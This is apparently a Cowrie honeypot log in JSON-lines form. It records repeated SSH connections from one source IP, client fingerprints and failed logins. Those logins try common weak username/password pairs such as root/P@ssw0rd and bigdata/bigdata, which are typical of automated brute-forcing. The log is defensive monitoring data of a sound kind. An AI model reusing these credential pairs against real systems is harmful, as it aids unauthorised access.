{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:55.789930Z","src_ip":"192.109.200.237","session":"6eae34381b34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35038,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5c9730890c4","protocol":"telnet","message":"New connection: 50.6.8.71:35038 (10.17.0.5:23) [session: f5c9730890c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:56.401891Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59014,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8d4d3ed461d","protocol":"ssh","message":"New connection: 192.109.200.237:59014 (159.203.135.109:22) [session: b8d4d3ed461d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:57.772758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:57.776813Z","src_ip":"192.109.200.237","session":"b8d4d3ed461d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:57.858384Z","src_ip":"192.109.200.237","session":"b8d4d3ed461d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:58.107556Z","src_ip":"192.109.200.237","session":"b8d4d3ed461d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:41:59.192784Z","src_ip":"192.109.200.237","session":"b8d4d3ed461d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60312,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1b61ad5ef4a","protocol":"ssh","message":"New connection: 192.109.200.237:60312 (159.203.135.109:22) [session: f1b61ad5ef4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:01.015111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:01.019728Z","src_ip":"192.109.200.237","session":"f1b61ad5ef4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:01.102085Z","src_ip":"192.109.200.237","session":"f1b61ad5ef4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00241255760193,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:01.330358Z","src_ip":"212.252.73.4","session":"38813a4ab220","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:01.349010Z","src_ip":"192.109.200.237","session":"f1b61ad5ef4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:02.487267Z","src_ip":"192.109.200.237","session":"f1b61ad5ef4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60318,"dst_ip":"159.203.135.109","dst_port":22,"session":"a02d450563d5","protocol":"ssh","message":"New connection: 192.109.200.237:60318 (159.203.135.109:22) [session: a02d450563d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:04.421288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:04.426080Z","src_ip":"192.109.200.237","session":"a02d450563d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:04.508906Z","src_ip":"192.109.200.237","session":"a02d450563d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:04.755868Z","src_ip":"192.109.200.237","session":"a02d450563d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:05.841753Z","src_ip":"192.109.200.237","session":"a02d450563d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60328,"dst_ip":"159.203.135.109","dst_port":22,"session":"92141de30401","protocol":"ssh","message":"New connection: 192.109.200.237:60328 (159.203.135.109:22) [session: 92141de30401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:07.861650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:07.866732Z","src_ip":"192.109.200.237","session":"92141de30401","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:07.948830Z","src_ip":"192.109.200.237","session":"92141de30401","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:08.193790Z","src_ip":"192.109.200.237","session":"92141de30401","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:09.279210Z","src_ip":"192.109.200.237","session":"92141de30401","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42152,"dst_ip":"159.203.135.109","dst_port":22,"session":"a43759fd8542","protocol":"ssh","message":"New connection: 192.109.200.237:42152 (159.203.135.109:22) [session: a43759fd8542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:11.245952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:11.249982Z","src_ip":"192.109.200.237","session":"a43759fd8542","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:11.331937Z","src_ip":"192.109.200.237","session":"a43759fd8542","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:11.578887Z","src_ip":"192.109.200.237","session":"a43759fd8542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:12.664645Z","src_ip":"192.109.200.237","session":"a43759fd8542","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42180,"dst_ip":"159.203.135.109","dst_port":22,"session":"846f1226cd5d","protocol":"ssh","message":"New connection: 192.109.200.237:42180 (159.203.135.109:22) [session: 846f1226cd5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:14.536273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:14.540782Z","src_ip":"192.109.200.237","session":"846f1226cd5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:14.622736Z","src_ip":"192.109.200.237","session":"846f1226cd5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:14.877797Z","src_ip":"192.109.200.237","session":"846f1226cd5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:16.025328Z","src_ip":"192.109.200.237","session":"846f1226cd5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42210,"dst_ip":"159.203.135.109","dst_port":22,"session":"da85acc053f4","protocol":"ssh","message":"New connection: 192.109.200.237:42210 (159.203.135.109:22) [session: da85acc053f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:17.853958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:17.858815Z","src_ip":"192.109.200.237","session":"da85acc053f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:17.944924Z","src_ip":"192.109.200.237","session":"da85acc053f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:18.192120Z","src_ip":"192.109.200.237","session":"da85acc053f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:19.278142Z","src_ip":"192.109.200.237","session":"da85acc053f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43322,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e11463cc8cf","protocol":"ssh","message":"New connection: 192.109.200.237:43322 (159.203.135.109:22) [session: 6e11463cc8cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:21.116838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:21.224867Z","src_ip":"192.109.200.237","session":"6e11463cc8cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:21.228322Z","src_ip":"192.109.200.237","session":"6e11463cc8cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4r3e2w1q","message":"login attempt [root/4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:21.598500Z","src_ip":"192.109.200.237","session":"6e11463cc8cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:22.684265Z","src_ip":"192.109.200.237","session":"6e11463cc8cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43328,"dst_ip":"159.203.135.109","dst_port":22,"session":"2485bc8dabea","protocol":"ssh","message":"New connection: 192.109.200.237:43328 (159.203.135.109:22) [session: 2485bc8dabea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:24.691601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:42:24.696577Z","src_ip":"192.109.200.237","session":"2485bc8dabea","protocol":"ssh"}
